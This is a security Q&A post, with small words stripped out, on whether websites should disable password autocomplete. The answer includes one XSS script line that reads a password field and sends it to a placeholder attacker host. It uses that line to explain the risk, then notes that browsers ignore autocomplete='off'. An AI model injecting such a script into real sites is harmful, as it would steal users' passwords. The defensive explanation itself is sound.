security - Should I prevent password autocomplete? -

there lots of replies here on how prevent password form element autocomplete. question should we?

according uk government; forcing password resets (something we're asked clients) describes net-loss in security , it's actively discouraged.

according mozilla; forcing password autocomplete off also suggests net-loss in security. uk .gov website doesn't mention particular practice.

my question:

• should attempt prevent password autocomplete, forcing user remember password, or autocomplete provide net-gain?

// please cite sources.

the classic risk of allowing password autocomplete xss flaw on website allow attacker grab password. because browser autocomplete password field value, available in dom.

<script> new image().src = "//evil.example.com/?password=" + escape(document.getelementbyid('password').value); </script> 

however, if attacker can inject password field in xss attack, inject 1 autocomplete enabled anyway, regardless of autocomplete setting on real password field. classically though, attribute prevent password being saved in first place , therefore couldn't autocompleted in attack.

as per mozilla link, browsers ignore autocomplete="off":

• if site sets autocomplete="off" form, , form includes username , password input fields, browser still offer remember login, , if user agrees, browser autofill fields next time user visits page.
• if site sets autocomplete="off" username , password input fields, browser still offer remember login, , if user agrees, browser autofill fields next time user visits page.

this behavior in firefox (since version 38), google chrome (since 34), , internet explorer (since version 11).

therefore, answer question "it doesn't make difference". additionally, browsers prompt before completing login credentials, , password managers such lastpass can set not auto complete fields without user choosing login use first. vulnerability scanners (and therefore pentesters relying on these) might raise low risk issue autocomplete enabled on password fields. if so, should able confidently point them in direction of mozilla link.